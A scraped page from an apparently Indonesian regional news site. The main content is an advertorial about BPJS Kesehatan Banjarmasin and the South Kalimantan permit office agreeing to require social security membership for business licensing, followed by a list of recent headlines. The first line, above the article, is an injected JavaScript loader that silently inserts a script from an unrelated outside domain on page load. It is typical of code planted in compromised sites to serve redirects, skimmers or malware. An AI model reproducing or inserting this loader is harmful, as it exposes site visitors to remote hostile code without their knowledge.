(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

DPMPTSP Kalsel Persyaratkan Kepesertaan Jaminan Sosial Dalam Pengurusan Perizinan


BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin terus melakukan gebrakan upaya meningkatkan cakupan kepesertaan Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS) menuju Universal Health Coverage (UHC) per 1 Januari 2019 nanti.

Sebagai salah satu upayanya, BPJS Kesehatan Cabang Banjarmasin memaksimalkan peran seluruh stakeholder dengan menjalin kerja sama terhadap instansi-instansi terkait, salah satunya dengan Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu (DPMPTSP) Provinsi Kalsel.

Kerja sama antara DPMPTSP Provinsi Kalsel dengan BPJS Kesehatan sebenarnya telah terjalin semenjak tahun 2016, namun dalam pertemuan ini kami membahas addendum perjanjian kerja sama yang menitikberatkan pada kewajiban badan usaha untuk mengurus kepesertaan jaminan sosial yang merupakan syarat utama pada saat mereka hendak mengurus perizinannya.

“Hal ini penting, karena sebelumnya pengurusan kesepertaan Jaminan Sosial masih bersifat himbauan,” kata Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza disela kegiatan pertemuan dengan DPMPTSP Provinsi Kalsel.

Pada pertemuan pembahasan addendum tersebut telah disepakati DPMPTSP Provinsi Kalsel siap berkomitmen mendukung menyukseskan program jaminan sosial milik pemerintah dengan memasukkan persyaratan kepesertaan jaminan sosial ke dalam Standar Operasional Prosedur (SOP) di DPMPTSP Kalsel.

“Selama ini kami menghadapi kebimbangan terhadap pemberlakuan persyaratan kepesertaan jaminan sosial terhadap pelayanan perizinan yang kami berikan, di satu sisi kami ingin berkontribusi menyukseskan program pemerintah, di sisi lain hal tersebut berbenturan dengan SOP yang kami miliki,” ujar Kepala DPMPTSP Provinsi Kalsel H Nafarin.

Melihat target UHC yang tidak lama lagi diperkuat dengan munculnya PP No 24 Tahun 2018 tentang pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik, sudah tidak ada alasan bagi DPMPTSP Kalsel untuk tidak dapat sepenuhnya ikut serta berperan dalam suksesnya program JKN-KIS.

Terkait hal itu, Fakhriza mengapresiasi terhadap komitmen yang diberikan oleh DPMPTSP Provinsi Kalsel yang bersedia mendukung penuh program JKN-KIS. Fakhriza berharap implementasi persyaratan tersebut dapat terlaksana sesegera mungkin dan juga persyaratan kepesertaan jaminan sosial ini juga dapat sesegera mungkin diimplementasikan di daerah tingkat Kabupaten/Kota di Kalsel. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

5 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

5 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

5 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

9 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

9 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

11 jam ago

This website uses cookies.